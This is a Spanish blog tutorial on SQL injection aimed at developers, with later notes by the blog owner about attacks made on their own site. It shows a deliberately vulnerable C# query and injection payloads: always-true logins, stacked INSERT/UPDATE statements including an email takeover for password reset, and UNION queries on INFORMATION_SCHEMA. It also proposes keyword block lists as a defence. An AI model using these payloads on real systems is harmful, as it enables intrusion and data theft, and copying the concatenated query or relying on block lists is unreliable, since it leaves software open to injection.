Como desarrolladores tenemos una gran responsabilidad sobre la seguridad de las aplicaciones en las que participamos y creo que no pensamos en ello (yo incluido) con la debida frecuencia o el debido respeto. Permitirme que me ponga un poco drástico. Cuando desarrollamos una aplicación sobre nóminas, una aplicación sobre informes médicos, o cualquier otro tipo de información sensible, lo que está en juego no es solo la integridad de la aplicación, detrás hay usuarios, hay vidas de personas.
Mi intención al escribir este artículo no es enseñaros nada nuevo sobre el tema, hay mucho escrito en internet y en libros sobre SQL Injection. El propósito de este artículo es que como desarrolladores tomemos conciencia de esta responsabilidad y por otro lado conocer los conceptos básicos de este tipo de ataques.
Estoy seguro que el lector, el que más o el que menos, conoce los peligros de un ataque por inyección de SQL. De hecho, la organización OWASP (Open Web Application Security Project) coloca esta vulnerabilidad la primera de la lista en su Top 10 de riesgos en aplicaciones web.
Las vulnerabilidades por inyección de SQL se caracterizan por tener un vector de ataque muy sencillo, el atacante simplemente envía texto a un intérprete. Así mismo es una vulnerabilidad frecuente y dependiendo de los casos, no es difícil detectarla. La última característica a mencionar es que tienen un impacto muy grande en las aplicaciones atacadas.
Tal y como se aprecia
en la tabla anterior (Risk Rating Methodology) los ataques por inyección no solo afectan a las consultas de SQL. También pueden ser atacadas por inyección las consultas LDAP (Lightweight Directory Access Protocol), XPATH o comandos del sistema operativo entre otros. En este artículo centraremos nuestro
interés en los ataques por inyección de SQL.
Introducción
En primer lugar, hablaremos de algunas versiones con las que se puede ejecutar este tipo de ataque, la mejor forma de "vacunarse" es sin duda el conocimiento, comprender cómo y porque es posible este tipo de debilidad en nuestras aplicaciones.
Anteriormente adelantamos que el vector de ataque sobre esta vulnerabilidad consiste en enviar un simple texto al intérprete de SQL. Es decir, todo dato, y repito otra vez, todo dato enviado a nuestra aplicación por un usuario, ya sea este humano o electrónico, es susceptible de contener código SQL que podría modificar el comportamiento esperado de nuestra aplicación. Por lo tanto, cualquier información que nuestra aplicación esté esperando desde fuera, debe tomarse como potencialmente peligrosa.
Para los ejemplos de código de inyección de SQL que vamos a ver a continuación, tomaremos como ejemplo el típico formulario de login que el usuario malintencionado podría usar como un posible punto de entrada a nuestra aplicación. Por lo tanto, los datos o información potencialmente peligrosa en este escenario, serán tanto el email del usuario como la contraseña.
Como es lógico, y por motivos puramente pedagógicos, para todos los ejemplos que veremos a continuación se ha supuesto que en la capa de acceso a datos existe un código de servidor que no previene contra este tipo de ataques. Podría ser algo parecido a lo mostrado a continuación.
string query = "SELECT * FROM Employees WHERE Email = "
+ "'" + email + "'"
+ " AND [Password] = "
+ "'" + pass + "';";
using (var conn = new SqlConnection(ConnString))
{
using (var cmd = new SqlCommand(query, conn))
{
cmd.CommandType = CommandType.Text;
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
// etc...
}
reader.Close();
}
}
}
En este caso, la consulta ejecutada en la base de datos tendría el siguiente aspecto.
SELECT * FROM Employees WHERE Email = 'NombreEmpleado' and [Password] = 'ContraseñaEmpleado';
Seguidamente comprobaremos las diferentes vías que podrían utilizarse desde fuera de nuestra aplicación para modificar el comportamiento de esta consulta. ¿Estáis preparados para poneros en la piel del atacante?
Comprobar si es vulnerable
Una forma rápida de comprobar si una aplicación es vulnerable a inyecciones de SQL podría ser enviar al intérprete una comillas simple (') para terminar la instrucción en ese momento y que todo lo demás sea código no ejecutable por el intérprete de SQL y esto provoque un error. Veamos un ejemplo.
Campo email = meloinvento y campo contraseña = '
Consulta construida:
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = ''';
He señalado en color Gold (según mi editor WYSIWYG) la parte de la consulta que el intérprete de SQL puede entender. Es decir, en esta parte se está comprobando que Email sea igual a 'meloinvento' y que Password sea igual a '', lo que es totalmente correcto gramaticalmente aunque no devolvería ningún resultado.
Pero al final de la consulta todavía tenemos una pequeña fracción de código ', que el intérprete no puede ejecutar correctamente. Lo que sin duda provocará un error en el intérprete de SQL y por extensión en la aplicación.
En este caso, el como la aplicación gestione este tipo de errores es lo de menos. Si nosotros como atacantes recibimos una amigable pantalla de error, igualmente habremos conseguido nuestro propósito, averiguar si la aplicación es susceptible de ser atacada.
Introducir una instrucción siempre True
Una forma típica de inyectar SQL en una aplicación y que seguramente el lector ya conoce es cuando inyectamos una instrucción siempre verdadera consiguiendo que la instrucción WHERE siempre se cumpla y nos devuelva siempre resultados sin conocer los datos auténticos.
Campo email = meloinvento y campo contraseña = ' or '1'='1
Consulta construida:
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = '' or '1'='1';
Quiero llamaros la atención aquí sobre el juego de comillas simples que se ha realizado. Comenzando nuestro código malicioso con una comilla simple hemos cerrado el contenido de la variable Password, y como al terminar nuestro código malicioso sin una comilla simple hemos aprovechado una comilla simple que seguramente, así lo
hemos supuesto, exista ya en el código de la aplicación. De esta forma la instrucción comprueba que FirstName sea igual a 'meloinvento' y que Password sea igual a '', o que 1 sea igual 1 lo que siempre es cierto y nos permite entrar en el sistema.
Nota: si la aplicación consume datos desde MySQL bastaría con incluir OR 1 -- x. Con esto quiero mostraros que aunque para este artículo se ha elegido SQL Server, los conceptos son los mismos para cualquier tipo de base de datos.
Con datos numéricos
Hemos visto algunos sencillos ejemplos cuando las variables a atacar son de tipo alfanumérico, y como hemos podido comprobar el meollo del asunto consiste en ir jugando con las comillas simples que espera el intérprete de SQL. Pero cuando los datos son de tipo numérico, supongamos que la contraseña lo es, si no se tiene especial cuidado podemos tener total libertad para ejecutar instrucciones completas en nuestro sistema. También podría ser una comprobación por el campo ID o por cualquier otro concepto numérico.
Campo email = 'meloinvento' y campo contraseña = 00000; insert into employees (firstName, password) values ('Oscar', 85493)
Consulta construida:
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = 00000;
insert into employees (email, password) values ('Oscar', 85493);
Como se puede observar realmente se han enviado dos instrucciones SQL al intérprete, una que comprueba un supuesto empleado y otra que directamente inserta un nuevo empleado en la aplicación permitiendonos tener acceso a la misma.
Evidentemente este tipo de ataque es mucho más difícil de realizar de lo que parece. Para empezar, deberíamos conocer el nombre de la tabla, aunque siempre se pueden probar nombres razonables como Users, Employees, Clients, etc, veremos más tarde como atajar este problema.
Otra dificultad añadida es que la tabla normalmente contendrá más campos que no podrán ser nulos, lo que provocará un error en la aplicación al no poder ejecutarse correctamente la instrucción SQL. Y como siempre, dependiendo de como estén gestionandos este tipo de errores, podríamos recibir información sobre el error y poco a poco afinar con la inyección de SQL. Sea como sea, es algo de lo que tenemos que ser conscientes como desarolladores.
Averiguar el número de columnas de la tabla
Como bien sabe el lector, la instrucción ORDER BY también puede ser utilizada como si de un array se tratara y en lugar de pasarle el nombre de la columna podemos pasarle un valor entero con la posición que ocupa la columna en la tabla empezando desde 1.
SELECT * FROM Employees WHERE LastName = 'Gomez' ORDER BY 2
Esta consulta ordena los resultados ascendentemente por la segunda columna en la tabla. Ahora bien, podríamos ir probando distintos valores (3, 4, 5, etc) y cuando la aplicación lance un error sabremos que nos acabamos de pasar por arriba en el número de columnas de la tabla.
Campo email = meloinvento y campo contraseña = ' ORDER BY 7; --
Consulta contruida:
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = '' ORDER BY 7; --';
En el caso que nos ocupa esta consulta lanzaría un error del siguiente tipo.
Anteriormente ya he mencionado que no importa que no veamos esta información, es suficiente con que la aplicación muestre una agradable pantalla informandonos del error, igualmente sabremos que la tabla tiene 6 columnas.
Averiguar el nombre de una columna
La idea en este caso es ir probando nombre lógicos o esperables para los nombre de las columnas en un consulta que se ejecuta satisfactoriamente, es decir, al contrario que antes, cuando no recibamos un error, sabremos que hemos acertado.
Campo email = meloinvento' or firstname = ''; --
Consulta contruida:
SELECT * FROM Employees WHERE Email = 'meloinvento' or firstname = ''; --' AND [Password] = '';
Si esta cosulta se ejecuta sin mostrarnos un error sabremos que hemos acertado con el nombre de la columna, en caso contrario nos tocará seguir provando otros nombres.
Averiguar el nombre de una tabla
Igual que antes provaremos distintos nombre para el nombre de la tabla y sabremos que el nombre es correcto cuando la consulta se ejecute satisfactoriamente.
Campo email = meloinvento' or 1 = (select count(*) from Employees); --
Consulta contruida:
SELECT * FROM Employees WHERE Email = 'meloinvento' or 1=(select count(*) from Employees); --' AND [Password] = '';
Fijaros en que nos importan en absoluto si la segunda condición que hemos introducido se cumple. Nos da lo mismo si la tabla tenga 1 o 100 filas, lo que nos interesa aquí es que la consulta es gramaticalmente
correcta y por lo tanto hemos dado con el nombre de una tabla.
Ahora bien, de momento sabemos que en el sistema existe una tabla Employees y lo mismo podríamos hacer con otras tablas si conocemos un poco el negocio de la aplicación que estamos asaltando. Pero también podemos averiguar si el nombre de la tabla que hemos adivinado se está utilizando en la consulta actual.
Campo email = meloinvento' and employees.email is null; --
Consulta construida:
SELECT * FROM Employees WHERE Email = 'meloinvento' and employees.email is null; --' AND [Password] = '';
Esta forma de especificar el nombre de la columna Email en la segunda condición, solo funciona cuando el nombre de la tabla especificado es el mismo que se utiliza después de la cláusula FROM.
Enviar la contraseña de un usuario
Es habitual que antes de comenzar ningún ataque ya conozcamos el email de algún usuario resgistrado en el sistema. Ya sea porque se trata de una red social y el usuario es un conocido nuestro o de nuestros conocidos. O simplemente porque en la propia aplicación web exista en la zona de contacto uno o varios emails de usuarios adminstradores del
sistema para poder contactar con ellos en caso de problemas, sugerencias o dudas.
Supongamos también que la aplación web tiene el típico enlace "Si no recuerdas la contraseña haz click aquí" en la que se nos pedirá un email para enviarnos la contraseña automáticamente por correo electrónico. Procedamos!!.
Campo email = meloinvento'; update employees set email = 'miEmail@hacker.com' where email = 'emailConocido@hostweb.com'; --
Consulta contruida:
SELECT * FROM Employees WHERE Email = 'meloinvento';
update employees set email = 'miEmail@hacker.com' where email = 'emailConocido@hostweb.com'; --' AND [Password] = '';
Ahora solo tendremos que ir al formulario donde se nos pide el email para enviarnos la contraseña e introducir el email malicioso para al de unos minutos obtener la contraseña de este usuario.
Averiguar información del esquema
Cambiemos un poco el escenario del crimen. Imaginaros que hemos conseguido entrar en la aplicación con las credenciales de otro usuario/empleado. Al navegar por la aplicación nos encontramos con una página donde se muestra un listado de clientes del empleado que hemos suplantado.
Como podemos observar el listado permite realizar una búsqueda por el código postal del cliente que mostrará los resultados para el empleado que entró en la aplicación. Con lo que sabemos hasta ahora (los clientes pertenecen a un empleado específico y los clientes se buscan por código postal) podríamos suponer que la consulta tendría un aspecto parecido al mostrado a continuación.
SELECT * FROM NombreTabla WHERE NombreColumna = identificadorEmpleado AND OtraColumna = 'codigoPostalCliente';
SQL Server al igual que MySQL proporciona información del esquema de las bases de datos por medio de la tabla de sistema
I N F O R M A T I O N _ S C H E M A. Te recomiendo que ejecutes en cualquiera de tus bases de datos las dos
consultas siguientes para que puedas observar la información que contienen.
SELECT * FROM I N F O R M A T I O N _ S C H E M A.TABLES;
SELECT * FROM I N F O R M A T I O N _ S C H E M A.COLUMNS;
*He tenido que poner espacios en la scuencia, ya que tengo protetido mi código contra esta secuencia y si no, no me dejaba cuardar el blog ;P
Intentemos ahora averiguar el nombre de todas las tablas de la base de datos.
Campo búsqueda = ' union select 1, 2, table_name, 4, 5, 6, 7 from i n f o r m a t i o n _ s c h e m a.tables; --
Consulta construida:
SELECT * FROM Customers WHERE EmployeeID = '6' AND PostalCode = ''
union select 1, 2, table_name, 4, 5, 6, 7 from i n f o r m a t i o n _ s c h e m a.tables; --';
Las consultas que usen la clausula UNION (también INTERSECT y EXCEPT) deben tener el mismo número de columnas en las dos SELECT. Por ese motivo en la segunda SELECT se han añadido los índices ordinales de varias columnas para rellenar. Fijaros también que la columna que contendrá los nombres de las tablas, table_name, se encuentra en 3er lugar. Hay que hacerla coincidir con una columna que admita valores de texto y hemos supuesto que las dos primeras columnas contenían identificadores y por lo tanto eran probablemente de tipo numérico.
Al pulsar sobre el botón de búsqueda obtenemos la información esperada.
En la base de datos existen dos tablas, Employees y Customers, además de un diagrama de base de datos. Podríamos intentar hacer lo mismo con la información de las columnas de toda la base de datos.
Campo búsqueda = ' union select 1, 2, table_name, column_name, ordinal_position, data_type, is_nullable from i n f o r m a t i o n _ s c h e m a.columns; --';
Consulta construida:
SELECT * FROM Customers WHERE EmployeeID = '6' AND PostalCode = '' union
select 1, 2, table_name, column_name, ordinal_position, data_type, is_nullable from i n f o r m a t i o n _ s c h e m a.columns; --';
El resultado cuando menos es espectacular y MUY PELIGROSO.
Por order de aparición, de irquierda a derecha, vemos el nombre de la tabla, el nombre de la columna, el lugar que ocupa esta en la tabla, el tipo de datos que contiene la columna y si admite valores nulos. Mencionar por último que el poder ver la información del esquema de la base de datos depende de cómo estén configurados los permisos en el servidor de base de datos. No todos los usuarios tienen porque tener permisos para acceder a esta información.
Comentarios Finales
Evidentemente todo lo aquí visto ha sido posible gracias a un código de aplicación escrito a propósito con poca o ninguna consideración sobre estos temas, pero ha cumplido su cometido, que no era otro que didáctico. De todas formas, las inyecciones de SQL no son como el Unicornio Blanco, son muy reales. Durante la preparación de este artículo, el aquí presente, ha encontrado un par de webs reales susceptibles de ser atacadas con los conceptos que acabamos de estudiar.
Tener en cuenta que los ataques mostrados en este artículo quizás no han sido demasiado agresivos pero igualmente se podrían haber enviado sentencias para borrar registros, tablas o cualquier otra invasión relacionada con el negocio de la aplicación. Comentar también que por supuesto existen técnicas mucho más sofisticadas de este vector de
ataque, aquí hemos visto quizás las más elementales.
Espero que encontréis de utilidad, o al menos de interesante, el artículo y sobre todo que os haya hecho pensar en esa gran responsabilidad que tenemos como desarrolladores sobre la seguridad de nuestras aplicaciones.
Texto original: 30. January 2013 19:15 by Oscar.SS
De mi propia cosecha
Tras implementar estas líneas en mi código, he sufrido unos ataques on INYECTION, si, yo, un simple aprendiz de programador, y me he dado cuenta de que además de I N F O R M A T I O N _ S C H E M A es muy importante también bloquear otras funcioines, ya que poco a poco, pueden ir averiguando como es tu base de datos. Estos otros comandos, o mejor dicho, OBJETOS de SQL son S Y S O B J E C T S y S Y S C O L U M N S.
Otra cosilla interesante, si por lo que fuera ya han conseguido algo de información de nuestra base de datos, es no poner en las cosultas el nombre de la base de datos, para desde código, poder bloquear que si en la consulta aparece el nombre de la base de datos no se ejecute. por ejemplo [dbMiBaseDeDatos].[MiTabla] si desde código bloqueamos que no pueda aparecer en las consultas parte del la ruta de conexión, que como noó, sería precisamente el nombde be da base de datos, dbMiBaseDeDatos, entonces ya no se ejecutaría nunca una consulta por INJECTION en la que ya hayan conseguido averiguar alguna información de la base de datos.
Os dejo una imagen con el ejemplo del ataque sufrido el 28 de Enero de 2017. Lo pongo como imagen porque si lo escribo mi protección ahora no me dejaría publicar el blog. En esta imagen podeis observar la modificación que hicieron en la URL para hacer el INJECTION. Tras analizar que es lo que buscaban en 55 intentos, consiguieron sacar la información del nombre de la base de datos, y de un par de tablas. Por suerte esto me ocurrió en un servidor de pruebas que tengo y la información contenida en esa base de datos no es sensible.
Happy Codding
#SQL, #seguridad, #errores, #CSHARP
Mis propias concluiones
Por último, tras ver el ataque, y que información estaban buscando, en las consultas buscaban tablas que tuvieran nombres de columnas que contuvieran las letras pass, pw. Así es como obtueron el nombre de las dos únicas tablas en las que cometí el error de llamar password al nombre de la columna, por lo que recomendaría NUNCA, NUNCA, NUNCA, poner nombres descriptivos en las columnas que contentag nombres de usuario, contraseñas u otros datos sensibles, ni en español u otros idiomas, y mucho menos en inglés. Una de las cosas que voy a hacer ahora es cambiar el nombre de esas columnas en las tablas que encontraron, no sea que hayan conseguido obtener alguna información, que aunque no sea sensible, que me mareen los datos me fastidiaría bastante.
Happy codding.
Actualizado: 29 de Enero de 2017 10:00AM en Brisbane, Australia.
Mas tipos de ataque
Parece que empiezo a ser importante, ya que mi blog no parece ser muy visitado, solo me visitan para intentar ROMPER MI BASE DE DATOS. Algo que se deberia de controlar tambien es que no se pueda utilizar CHR en el query. Como podria haber alguna palabra "normal" que contuviera esas tres letras la solucion que he encontrado es ademas incluir el caracter ( al final de CHR. Lo estoy escribiendo asi porque yo ya lo he controlado y no puedo escribir todo junto... hehehehe aqui os dejo unas capturas de un ataque recibido el dia 6 de Marzo de 2017 por la tarde noche.
Bueno como podeis comprobar el tema de la seguridad en la base de datos tiene tela. Y este tipo de control genera otro problema, que si tu necesitas incluir en tu QUERY caracteres con CHR pues no puedes hacerlo. Asi que tendras que buscar mecanismos para poder utilizarlo o no. Yo he puesto un booleano para poder "cancelar" en una consulta especifica este control, pero tener cuidad de que ese tipo de cosas solo sean para consultas internas y que no se puedan acceder desde el exterior.
Happy codding.
Actualizado: 7 de Marzo de 2017 08:53AM en Clark, Filipinas.
Actualizado: 8 de Agosto 2018 10:41AM en Eight Miles, Australia. Gracias Esteban Valles por el link del Top 10 en ataques de OWASP